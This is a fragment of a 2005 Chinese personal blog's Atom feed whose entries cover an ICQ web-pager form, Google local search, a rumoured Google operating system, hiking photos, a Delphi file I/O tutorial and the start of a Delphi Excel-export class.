width="100%"&gt;<BR>&nbsp;&nbsp;&nbsp;&lt;tr&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;自:&lt;br /&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input type="text" class="bginput" name="from" value="沉酗天涯" size="40" /&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/td&gt;<BR>&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<BR>&nbsp;&nbsp;&nbsp;&lt;tr&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;邮箱地址:&lt;br /&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input type="text" class="bginput" name="fromemail" value="<a href="http://www.openx.cn/mailto:cxty@msn.com">cxty@msn.com</A>" size="40" /&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/td&gt;<BR>&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<BR>&nbsp;&nbsp;&nbsp;&lt;tr&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;td&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;信息:&lt;br /&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;textarea name="body" cols="50" rows="12" wrap="virtual"&gt;&lt;/textarea&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/td&gt;<BR>&nbsp;&nbsp;&nbsp;&lt;/tr&gt;<BR>&nbsp;&nbsp;&nbsp;&lt;/table&gt;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&lt;/div&gt;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;&lt;/div&gt;<BR>&nbsp;&lt;/div&gt;<BR>&nbsp;<BR>&nbsp;&lt;div style="margin-top:6px"&gt;<BR>&nbsp;&nbsp;&lt;input type="hidden" name="subject" value="From WebPager Panel" /&gt;<BR>&nbsp;&nbsp;&lt;input type="hidden" name="to" value="对方ICQ号码" /&gt;<BR>&nbsp;&nbsp;&lt;input type="submit" class="button" value="发送信息" /&gt;<BR>&nbsp;&lt;/div&gt;<BR>&nbsp;&lt;/td&gt;<BR>&lt;/tr&gt;<BR>&lt;/table&gt;</P>
<P>&lt;/form&gt;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=14" /> 
	  <id>http://www.openx.cn/default.asp?id=14</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Google的中文本地搜索!]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-05T18:44:12+08:00</updated>
	  <published>2005-09-05T18:44:12+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]attachments/month0509/xum1_x.gif[/img]</P>
<P>Google本地搜索地址:http://bendi.google.com</P>
<P>这回Google是跟国内Mapabc合作</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=13" /> 
	  <id>http://www.openx.cn/default.asp?id=13</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[爆惊 Google推出操作系统]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-05T18:28:23+08:00</updated>
	  <published>2005-09-05T18:28:23+08:00</published>
		  <summary type="html"><![CDATA[近日，微软与搜索引擎巨头Google的对抗已经炒得沸沸扬扬。从搜索业务到微软中国李开复加入Google引起的官司，一系列矛盾使两大IT巨头之间争端不断升级。而近日，从一消息源得到一则未经证实的消息，更让人吃惊：Google有可能将其业务领域伸向操作系统！ <BR>　　 <BR>　<STRONG>　Google系统引导过程　</STRONG> <BR>　　 <BR>
<CENTER>[img]http://www.it.com.cn/f/edu/059/3/050903_edu_google001.jpg[/img]</CENTER><BR>　　这是从一消息源获得的Google操作系统的截图。据消息源描述，该系统基于GNU/LINUX，采用HURD/GOOGLE技术内核。据称它将有三种版本：嵌入式、移动版、及商用版。该操作系统基于远程操作系统概念设计，其内核及引导组件将固化于芯片中或者一个2GB的USB KEY中，而所有的应用程序将从Google的服务器上安全下载。而其运行的环境将可能是下一代的主板，一种专门基于Google的集群节点式电脑。而USB设备将使用户能够从USB KEY上启动电脑。而对于第三种，即面向企业级用户来说，将在电脑中内建最小化的操作系统，只有文件管理器，电子表格，文本编辑器，以及Google 的电子邮件客户端，浏览器及即时通讯软件等。　 <BR><BR>　　<STRONG>Google操作系统截图</STRONG> <BR>　　 <BR>
<CENTER>[img]http://www.it.com.cn/f/edu/059/3/050903_edu_google002.jpg[/img]</CENTER><BR>　　据称，该套系统已经在一台Pentium 4 2.0GHZ处理器，256MB内存的电脑上进行测试成功，系统启动非常快，电脑设备多数能够被自动识别出来。而且其基于XML的菜单也非常友好易用。　　 <BR><BR>　　 <STRONG>Google操作系统截图2 <BR></STRONG><BR>
<CENTER>[img]http://www.it.com.cn/f/edu/059/3/050903_edu_google003.jpg[/img]</CENTER>
<P><BR>　　看来，微软这次真的要警惕了，很可能将来千家万户的电脑开机时出现的不再是微软的“视窗”，而是彩色的Google啦。</P>
<P>&nbsp;</P>
<P>以上新闻来自:http://www.it.com.cn/f/edu/059/3/167830.htm</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=12" /> 
	  <id>http://www.openx.cn/default.asp?id=12</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[台风后的白云洞]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=4" label="照片" /> 
	  <updated>2005-09-04T22:34:37+08:00</updated>
	  <published>2005-09-04T22:34:37+08:00</published>
		  <summary type="html"><![CDATA[<P>其实台风关白云洞啥关系的啦~是吧~只不过爬那么多次白云洞终于看到哗啦啦的水咯~</P>
<P>[img]attachments/month0509/IMG_3173.JPG[/img]</P>
<P>[img]attachments/month0509/IMG_3172.JPG[/img]</P>
<P>有喜欢爬山的福州朋友可以Q我哦~</P>
<P>QQ:23533016</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=11" /> 
	  <id>http://www.openx.cn/default.asp?id=11</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[文件读取的基本方法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-02T20:01:12+08:00</updated>
	  <published>2005-09-02T20:01:12+08:00</published>
		  <summary type="html"><![CDATA[procedure TForm1.Button1Click(Sender: TObject);<BR><BR>var<BR>&nbsp; iFileHandle: Integer;<BR>&nbsp; iFileLength: Integer;<BR>&nbsp; iBytesRead: Integer;<BR>&nbsp; Buffer: PChar;<BR>&nbsp; i: Integer<BR>begin<BR>&nbsp; if OpenDialog1.Execute then<BR>&nbsp; begin<BR>&nbsp; &nbsp; try<BR>&nbsp; &nbsp; &nbsp; iFileHandle := FileOpen(OpenDialog1.FileName, fmOpenRead);<BR>&nbsp; &nbsp; &nbsp; iFileLength := FileSeek(iFileHandle,0,2);<BR>&nbsp; &nbsp; &nbsp; FileSeek(iFileHandle,0,0);<BR>&nbsp; &nbsp; &nbsp; Buffer := PChar(AllocMem(iFileLength + 1));<BR>&nbsp; &nbsp; &nbsp; iBytesRead = FileRead(iFileHandle, Buffer, iFileLength);<BR>&nbsp; &nbsp; &nbsp; FileClose(iFileHandle);<BR><BR>&nbsp; &nbsp; &nbsp; for i := 0 to iBytesRead-1 do<BR>&nbsp; &nbsp; &nbsp; begin<BR>&nbsp; &nbsp; &nbsp; &nbsp; StringGrid1.RowCount := StringGrid1.RowCount + 1;<BR>&nbsp; &nbsp; &nbsp; &nbsp; StringGrid1.Cells[1,i+1] := Buffer[i];<BR>&nbsp; &nbsp; &nbsp; &nbsp; StringGrid1.Cells[2,i+1] := IntToStr(Integer(Buffer[i]));<BR>&nbsp; &nbsp; &nbsp; end;<BR>&nbsp; &nbsp; finally<BR>&nbsp; &nbsp; &nbsp; FreeMem(Buffer);<BR>&nbsp; &nbsp; end;<BR>&nbsp; end;<BR>end;<BR><BR>Delphi同Object Pascal一样支持三种文件类型，即：文本文件、记录文件、无类型文件。<BR><BR>6.1.1文本文件<BR><BR>文本文件类型的变量用如下方法声明：<BR><BR>var<BR>&nbsp; TextFileVar: Text ;<BR><BR>文本文件是以行为单位进行读、写操作的。由于每一行长度不一定相同，不能计算出给定行在文件中的确切位置，因而只能顺序地读写。而且文本文件只能单独为读或写而打开，在一个打开的文本文件上同时进行读、写操作是不允许的。<BR><BR>6.1.1.1文本文件的打开、关闭<BR><BR>文本文件的打开需要两个步骤：(1). 文件变量与文件名关联；(2). 初始化读写。<BR>关联文件变量与文件名调用AssignFile标准过程：<BR><BR>AssignFile ( TextFileVar , FileName ) ;<BR><BR>&nbsp; &nbsp; FileName 既可以是全路径名，也可以仅是文件名。对于后者系统将在当前目录下查找。<BR>&nbsp; &nbsp; AssignFile是Delphi新提供的一个函数，其功能等价于Object Pascal中的Assign。而Assign在Delphi中更多地被用作一个方法名。<BR>初始化读写有三种方式：<BR>1. Reset : 为读打开文件并把文件指针移动到文件首；<BR>2. Rewrite : 为写创建一个新文件；<BR>3. Append : 为写打开存在的文件并把文件指针定位在文件尾。<BR>当使用Reset或Append过程而文件不存在时将会引发一个I/O异常。有关I/O异常的处理请参看本章例程和第十二章中的介绍。<BR>文件的关闭很简单，只须调用CloseFile过程即可。<BR>虽然Delphi应用程序在退出时会自动关闭所有打开的文件，但自己动手关闭文件可以确保释放文件句柄，并使程序的可移植性增强。<BR>为保持兼容，Delphi也允许用户用Assign建立关联，Close关闭文件。<BR><BR>6.1.1.2文本文件的读写<BR><BR>从文本文件中读取信息用Read、Readln两个标准过程。<BR>当读入数值时，Read、Readln假定数值是用一个或多个空格分开的，而不是逗号、分号或其它字符。对如下一条语句：<BR><BR>Read ( TextFileVar , Num1 , Num2 , Num3 ) ;<BR><BR>如果文件中的数值是：<BR>100200300<BR>则能够成功读入，而若文件中的数值是<BR>100200，300<BR>则Read读入“200，”并试图把它转化成一个数值时会引发一个异常。<BR>当读入字符是字符串时，Read、Readln过程总是读取尽可能多的字符填充到字符串变量中或一直读到行结束符为止。因此从文本文件中读取格式化的字符串数据，必须声明与其长度相匹配的字符串变量。如果要从文件中读取单词，必须先把文件中的每一行读入字符串，然后再从字符串中逐个分析出单词。或者一次只从文本文件中读入一个字符并测试每个字符后是否是单词断开处。<BR>格式化字符串之间的分隔符应读入到一个临时变量中，而字符串与数值、数值与数值间的分隔符读入时会自动识别剔除。对如下一行数据：<BR>Mon12:1040 &nbsp;50<BR>定义<BR><BR>var<BR>&nbsp; Day: string[3] ;<BR>&nbsp; Time: string[5] ;<BR>&nbsp; Num1, Num2: Integer ;<BR><BR>则须用如下的read 语句读入：<BR><BR>read ( TextFileVar , Day , c , Time , Num1 , Num2 ) ;<BR><BR>C为一个临时字符变量。<BR><BR>6.1.1.3文本文件的编辑<BR><BR>在Delphi中实现对一个文本文件的编辑，只须让其与一个Tmemo控件建立关联即可：<BR><BR>Memo1.Lines.LoadFromFile ( TextFileName ) ;<BR><BR>这样在TMemo上所做的一切修改当调用Memo部件的SaveToFile方法后都会反映到文件中去。<BR><BR>6.1.2 记录文件<BR><BR>记录文件是一种操作更为灵活的文件类型。它允许同时为读和写打开，而且由于记录文件中每条记录的长度固定，所以可随机存取。<BR>记录文件的类型变量可如下声明：<BR><BR>&nbsp; &nbsp; var<BR>&nbsp; RecordFileVar: file of RecordType;<BR><BR>RecordType是一个自定义的记录类型。<BR>有关记录文件的操作我们将在下一节中结合例程进行讨论。<BR><BR>6.1.3 无类型文件<BR><BR>无类型文件提供了底层的I/O通道，可用于存取可变长度记录的文件。经常用于文件的复制操作中。由于Delphi提供了更好的方法(见第四节)，所以无类型文件很少使用。有兴趣的读者可参看BlockRead、BlockWrite两个联机帮助主题。<BR><BR>6.1.4 Delphi的文件管理标准过程<BR><BR>根据功能我们把标准过程划分为十一类进行介绍。<BR><BR>6.1.4.1 文件的打开与关闭<BR><BR>AssignFile ：把一个外部文件名和一个文件变量相关联<BR>Reset &nbsp;：打开一个存在的文件<BR>Rewrite &nbsp; &nbsp;：创建并打开一个新文件（或覆盖原有文件）<BR>Append &nbsp; ：以添加方式打开一个文件（只适用于文本文件）<BR>CloseFile &nbsp;：关闭一个打开的文件<BR>FileOpen &nbsp;：打开一个特定的文件并返回文件句柄<BR>FileCreate &nbsp;：创建一个给定文件名的文件并返回文件句柄<BR>FileClose &nbsp;：关闭一个特定句柄的文件<BR><BR>后边三个文件主要供系统内部使用，在文件复制的编程中也往往会用到。它们操作的对象是文件句柄而不是文件变量。<BR><BR>6.1.4.2 文件定位<BR><BR>Seek：把文件当前位置移到指定部分<BR>FilePos：返回文件的当前位置<BR>Eoln：返回行结束标志<BR>EOF：返回文件结束标志<BR>FileSeek： &nbsp;改变当前文件指针的位置<BR>&nbsp; &nbsp; <BR>&nbsp; &nbsp; Seek与FileSeek的区别是：1. Seek仅用于记录文件；2. FileSeek的参数是文件句柄、偏移量、起始位置。其中起始位置有文件首、当前位置、文件尾三种选择。Seek的参数是文件变量、偏移量，偏移量是从文件首开始定位的。3. FileSeek的偏移量以字节数来计算，而Seek是根据记录号进行移动。 <BR>Seek、FilePos仅用于记录文件。但任何文件都可以看作是基于字节的记录文件。下面一段程序表示了它们的用法。<BR>&nbsp;<BR>{ 该例子的设计界面为一个包含TOpenDialog部件的窗体。}<BR><BR>uses Dialogs;<BR>var<BR>&nbsp; &nbsp;f: file of Byte;<BR>&nbsp; &nbsp;size: Longint;<BR>&nbsp; &nbsp;S: String;<BR>&nbsp; &nbsp;y: Integer;<BR>&nbsp;begin<BR>&nbsp; &nbsp;if OpenDialog1.Execute then <BR>&nbsp; &nbsp; &nbsp; &nbsp;begin<BR>&nbsp; &nbsp; &nbsp;AssignFile(f, OpenDialog1.FileName);<BR>&nbsp; &nbsp; &nbsp;Reset(f);<BR>&nbsp; &nbsp; &nbsp;size := FileSize(f);<BR>&nbsp; &nbsp; &nbsp;S := 'File size in bytes: ' + IntToStr(size);<BR>&nbsp; &nbsp; &nbsp;y := 10;<BR>&nbsp; &nbsp; &nbsp;Canvas.TextOut(5, y, S);<BR>&nbsp; &nbsp; &nbsp;y := y + Canvas.TextHeight(S) + 5;<BR>&nbsp; &nbsp; &nbsp;S := 'Seeking halfway into file...';<BR>&nbsp; &nbsp; &nbsp;Canvas.TextOut(5, y, S);<BR>&nbsp; &nbsp; &nbsp;y := y + Canvas.TextHeight(S) + 5;<BR>&nbsp; &nbsp; &nbsp;Seek(f,size div 2);<BR>&nbsp; &nbsp; &nbsp;S := 'Position is now ' + IntToStr(FilePos(f));<BR>&nbsp; &nbsp; &nbsp;Canvas.TextOut(5, y, S);<BR>&nbsp; &nbsp; &nbsp;CloseFile(f);<BR>&nbsp; &nbsp;end;<BR>&nbsp;end.<BR><BR>6.1.4.3 文件删除与截断<BR><BR>Erase：删除一个存在的文件<BR>DeleteFile：删除一个文件<BR>Truncate：从文件当前位置将文件截断<BR><BR>Erase与DeleteFile的区别是：Erase以文件变量为参数，当文件不能删除时引起一个异常；DeleteFile以文件名为参数，当文件不存在或不能删除时返回False，而并不引起一个异常。<BR><BR>6.1.4.4 文件名操作<BR><BR>Rename：文件更名，以文件变量为操作对象<BR>RenameFile：文件更名，参数为文件的原名和新名<BR>ChangeFileExt &nbsp; &nbsp;：改变文件扩展名<BR>ExpandFileName：返回文件全路径名<BR>ExtractFileExt &nbsp; &nbsp;：返回文件扩展名<BR>ExtractFileName：从全路径名中返回文件名<BR>ExtractFilePath：返回特定文件的路径<BR><BR>6.1.4.5 文件属性<BR><BR>FileGetAttr：返回文件属性<BR>FileSetAttr：设置文件属性<BR><BR>6.1.4.6 文件状态<BR><BR>FileSize：返回文件对象大小<BR>IOResult：返回上一次I/O操作的状态<BR>FileExists &nbsp; &nbsp;：检测文件是否存在<BR><BR>6.1.4.7 文件日期<BR><BR>DateTimeToFileDate：把Delphi日期格式转换为DOS日期格式<BR>FileDateToDateTime：把DOS日期格式转换为Delphi日期格式<BR>FileGetDate：返回文件的DOS日期时间戳<BR>FileSetDate：设置文件的DOS日期时间戳<BR><BR>6.1.4.8 文件读写<BR><BR>Read，Readln：从文本或记录文件中读取变量<BR>Write：将指定变量写入文本或记录文件<BR>Writeln：将指定变量写入文本文件并写入一个行结束标志<BR>FileRead：从一个指定文件中读取变量<BR>FileWrite &nbsp; &nbsp;：向指定文件写入数据<BR><BR>FileRead和FileWrite都是以文件句柄为操作对象，主要供系统内部使用。<BR><BR>6.1.4.9 目录操作<BR><BR>MkDir：创建当前目录的子目录<BR>ChDir：改变当前目录<BR>GetDir：返回特定磁盘的当前目录<BR>RmDir：删除一个空子目录<BR><BR>6.1.4.10 磁盘操作<BR><BR>DiskFree：返回磁盘自由空间<BR>DiskSize：返回特定磁盘的大小<BR><BR>6.1.4.11 文件查找<BR><BR>FileSearch：查找目录中是否存在某一特定文件<BR>FindFirst &nbsp; &nbsp;：在目录中查找与给定文件名（可以包含匹配符）及属性集相匹配的第一个文件<BR>FindNext：返回符合条件的下一个文件<BR>FindClose &nbsp; &nbsp;：中止一个FindFirst / FindNext序列<BR><BR>有关文件管理标准过程/函数的更详细资料，请查阅Delphi相关的Help主题。以上的大部分过程在后面都有应用实例，读者可以从中体会其用法。<BR>在Delphi的联机帮助Help系统中把有关文件的过程/函数分为两个主题：I/O Routine和File _Management Routine。前者大部分以文件变量为操作对象，而后者大部分以文件名或文件句柄为操作对象。这里为了方便读者的使用，我们按功能重新进行了分类。在下一节中主要应用I/O Routine主题下的过程，而在第四节的综合举例中主要应用File_Management Routine主题下的过程。<BR>另外，Windows提供了许多有关文件管理的API函数。虽然在一般情况下，利用Delphi提供的函数已足够解决问题，但有时候仍然需要使用Windows API。在(6.4.4.2)中我们就用到了Windows API函数GetDriveType。有关Windows API函数的情况，请读者参阅相关的资料，这里不再进行介绍。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=10" /> 
	  <id>http://www.openx.cn/default.asp?id=10</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Delphi编程技巧集锦]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-02T19:54:41+08:00</updated>
	  <published>2005-09-02T19:54:41+08:00</published>
		  <summary type="html"><![CDATA[################]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=9" /> 
	  <id>http://www.openx.cn/default.asp?id=9</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[矢量AI 韩国插画Hansdraw系列]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-09-02T09:53:36+08:00</updated>
	  <published>2005-09-02T09:53:36+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]attachments/month0509/qngu_x.gif[/img]</P>
<P>下载地址:http://www.openx.cn/down.asp?downID=12&action=Url_1</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=8" /> 
	  <id>http://www.openx.cn/default.asp?id=8</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[一个导出Excel非常快的类]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-09-01T23:18:57+08:00</updated>
	  <published>2005-09-01T23:18:57+08:00</published>
		  <summary type="html"><![CDATA[<SPAN id=ArticleContent1_ArticleContent1_lblContent>选择自 <A id=ArticleTitle1_ArticleTitle1_AuthorLink href="http://dev.csdn.net/user/Dreamnest">Dreamnest</A> 的 Blog 
<P>unit DBGridEhToExcel;</P>
<P>interface<BR>uses<BR>&nbsp; Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<BR>&nbsp; Dialogs, DB, ComCtrls, ExtCtrls, StdCtrls, Gauges, DBGridEh, ShellApi;</P>
<P>type<BR>&nbsp; TTitleCell = array of array of String;</P>
<P>&nbsp; //分解DBGridEh的标题<BR>&nbsp; TDBGridEhTitle = class<BR>&nbsp; private<BR>&nbsp;&nbsp;&nbsp; FDBGridEh: TDBGridEh;&nbsp; //对应DBGridEh<BR>&nbsp;&nbsp;&nbsp; FColumnCount: integer; //DBGridEh列数(指visible为True的列数)<BR>&nbsp;&nbsp;&nbsp; FRowCount: integer;&nbsp;&nbsp;&nbsp; //DBGridEh多表头层数(没有多表头则层数为1)<BR>&nbsp;&nbsp;&nbsp; procedure SetDBGridEh(const Value: TDBGridEh);<BR>&nbsp;&nbsp;&nbsp; function GetTitleRow: integer;&nbsp;&nbsp;&nbsp; //获取DBGridEh多表头层数<BR>&nbsp;&nbsp;&nbsp; function GetTitleColumn: integer; //获取DBGridEh列数<BR>&nbsp; public<BR>&nbsp;&nbsp;&nbsp; //分解DBGridEh标题，由TitleCell二维动态数组返回<BR>&nbsp;&nbsp;&nbsp; procedure GetTitleData(var TitleCell: TTitleCell);<BR>&nbsp; published<BR>&nbsp;&nbsp;&nbsp; property DBGridEh: TDBGridEh read FDBGridEh write SetDBGridEh;<BR>&nbsp;&nbsp;&nbsp; property ColumnCount: integer read FColumnCount;<BR>&nbsp;&nbsp;&nbsp; property RowCount: integer read FRowCount;<BR>&nbsp; end;</P>
<P>&nbsp; TDBGridEhToExcel = class(TComponent)<BR>&nbsp; private<BR>&nbsp;&nbsp;&nbsp; FCol: integer;<BR>&nbsp;&nbsp;&nbsp; FRow: integer;<BR>&nbsp;&nbsp;&nbsp; FProgressForm: TForm;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {进度窗体}<BR>&nbsp;&nbsp;&nbsp; FGauge: TGauge;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {进度条}<BR>&nbsp;&nbsp;&nbsp; Stream: TStream;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {输出文件流}<BR>&nbsp;&nbsp;&nbsp; FBookMark: TBookmark;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; FShowProgress: Boolean;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {是否显示进度窗体}<BR>&nbsp;&nbsp;&nbsp; FDBGridEh: TDBGridEh;<BR>&nbsp;&nbsp;&nbsp; FBeginDate: TCaption;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {开始日期}<BR>&nbsp;&nbsp;&nbsp; FTitleName: TCaption;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {Excel文件标题}<BR>&nbsp;&nbsp;&nbsp; FEndDate: TCaption;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {结束日期}<BR>&nbsp;&nbsp;&nbsp; FUserName: TCaption;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {制表人}<BR>&nbsp;&nbsp;&nbsp; FFileName: String;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {保存文件名}<BR>&nbsp;&nbsp;&nbsp; procedure SetShowProgress(const Value: Boolean);<BR>&nbsp;&nbsp;&nbsp; procedure SetDBGridEh(const Value: TDBGridEh);<BR>&nbsp;&nbsp;&nbsp; procedure SetBeginDate(const Value: TCaption);<BR>&nbsp;&nbsp;&nbsp; procedure SetEndDate(const Value: TCaption);<BR>&nbsp;&nbsp;&nbsp; procedure SetTitleName(const Value: TCaption);<BR>&nbsp;&nbsp;&nbsp; procedure SetUserName(const Value: TCaption);<BR>&nbsp;&nbsp;&nbsp; procedure SetFileName(const Value: String);&nbsp;&nbsp;&nbsp; </P>
<P>&nbsp;&nbsp;&nbsp; procedure IncColRow;<BR>&nbsp;&nbsp;&nbsp; procedure WriteBlankCell;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {写空单元格}<BR>&nbsp;&nbsp;&nbsp; {写数字单元格}<BR>&nbsp;&nbsp;&nbsp; procedure WriteFloatCell(const AValue: Double; const IncStatus: Boolean=True);<BR>&nbsp;&nbsp;&nbsp; {写整型单元格}<BR>&nbsp;&nbsp;&nbsp; procedure WriteIntegerCell(const AValue: Integer; const IncStatus: Boolean=True);<BR>&nbsp;&nbsp;&nbsp; {写字符单元格}<BR>&nbsp;&nbsp;&nbsp; procedure WriteStringCell(const AValue: string; const IncStatus: Boolean=True);<BR>&nbsp;&nbsp;&nbsp; procedure WritePrefix;<BR>&nbsp;&nbsp;&nbsp; procedure WriteSuffix;<BR>&nbsp;&nbsp;&nbsp; procedure WriteHeader;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 